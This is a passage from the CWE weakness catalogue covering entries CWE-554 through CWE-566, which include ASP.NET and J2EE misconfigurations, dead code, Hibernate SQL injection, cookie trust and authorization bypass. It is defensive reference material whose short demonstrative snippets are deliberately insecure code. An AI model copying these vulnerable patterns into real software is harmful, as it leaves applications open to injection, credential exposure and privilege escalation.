MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
650	Upload a Web Shell to a Web Server

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID : 554
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use an input validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1978

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Scope	Impact	Likelihood
	Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.	

Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1406	Comprehensive Categorization: Improper Input Validation	1400	2552

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID : 555
Structure : Simple
Abstraction : Variant

Description

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	260	Password in Configuration File	636

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Example Language: Java *(Bad)*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID : 556
Structure : Simple
Abstraction : Variant

Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	645

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood

Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2356
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2360
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2417
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID : 558
Structure : Simple
Abstraction : Variant

Description

The product uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1461

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Access Control Other	Modify Application Data Bypass Protection Mechanism Other	

Scope	Impact	Likelihood

Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Demonstrative Examples

Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(Bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
   allow();
} else {
   deny();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2334
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Authentication
Software Fault Patterns	SFP3		Use of an improper API

CWE-560: Use of umask() with chmod-style Argument

Weakness ID : 560
Structure : Simple
Abstraction : Variant

Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1518

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Files or Directories Modify Files or Directories Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2415
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Other

Some umask() manual pages begin with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The documentation goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID : 561
Structure : Simple
Abstraction : Base

Description

The product contains dead code, which can never be executed.

Extended Description

Dead code is code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1976
CanFollow	B	570	Expression is Always False	1300
CanFollow	B	571	Expression is Always True	1303

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.*	
Other	Reduce Maintainability	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null. However, on the only path where s can be assigned a non-null value, there is a return statement.

Example Language: C++ *(Bad)*

```
String s = null;
if (b) {
  s = "Yes";
  return;
}
if (s != null) {
  Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Example Language: Java *(Bad)*

```
public class DoubleDead {
  private void doTweedledee() {
    doTweedledumb();
  }
  private void doTweedledumb() {
    doTweedledee();
  }
  public static void main(String[] args) {
    System.out.println("running DoubleDead");
  }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Example Language: Java *(Bad)*

```java
public class Dead {
  String glue;
  public String getGlue() {
    return "glue";
  }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://www.cve.org/CVERecord?id=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2403
MemberOf	C	1130	CISQ Quality Measures (2016) - Maintainability	1128	2462
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2489
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2505
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC07-C		Detect and remove dead code
SEI CERT Perl Coding Standard	MSC00-PL	Exact	Detect and remove dead code
Software Fault Patterns	SFP2		Unused Entities
OMG ASCMM	ASCMM-MNT-20		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < https://www.omg.org/spec/ASCMM/ >.2023-04-07.

CWE-562: Return of Stack Variable Address

Weakness ID : 562
Structure : Simple
Abstraction : Base

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1591
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1488
CanPrecede	B	825	Expired Pointer Dereference	1741

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If*	

Scope	Impact	Likelihood
	the address is used for writing, this can lead to a crash and possibly code execution.	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Demonstrative Examples

Example 1:

The following function returns a stack address.

Example Language: C *(Bad)*

```
char* getName() {
  char name[STR_MAX];
  fillInName(name);
  return name;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2372
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1154	2476
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2504
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2546

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL30-C	CWE More Specific	Declare objects with appropriate storage durations
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1		Glitch in computation

CWE-563: Assignment to Variable without Use

Weakness ID : 563
Structure : Simple
Abstraction : Base

Description

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1976

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Indirect :

Alternate Terms

Unused Variable :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context *This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove unused variables from the code.

Demonstrative Examples

Example 1:

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Example Language: C *(Bad)*

```
r = getName();
r = getNewBuffer(buf);
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2403
MemberOf	C	1186	SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC)	1178	2489
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
SEI CERT Perl Coding Standard	MSC01-PL	Imprecise	Detect and remove unused variables
Software Fault Patterns	SFP2		Unused Entities

CWE-564: SQL Injection: Hibernate

Weakness ID : 564
Structure : Simple
Abstraction : Variant

Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	206

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	206

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	206

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Demonstrative Examples

Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java *(Bad)*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2456
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2511
MemberOf	C	1409	Comprehensive Categorization: Injection	1400	2556

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
109	Object Relational Mapping Injection

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565
Structure : Simple
Abstraction : Base

Description

The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	602	Client-Side Enforcement of Server-Side Security	1359
ChildOf	C	642	External Control of Critical State Data	1422
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1662

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1480

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	2455

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2498

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(Bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
  Cookie c = cookies[i];
  if (c.getName().equals("role")) {
    userRole = c.getValue();
  }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

Observed Examples

Reference	Description
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. *https://www.cve.org/CVERecord?id=CVE-2008-5784*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	2416
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP29		Faulty endpoint authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
226	Session Credential Falsification through Manipulation

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID : 566
Structure : Simple
Abstraction : Variant

Description

The product uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	639	Authorization Bypass Through User-Controlled Key	1415

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2446

Applicable Platforms

Technology : Database Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Access Control	Read Application Data Modify Application Data Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(Bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2438
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID : 567
Structure : Simple
Abstraction : Base

Description

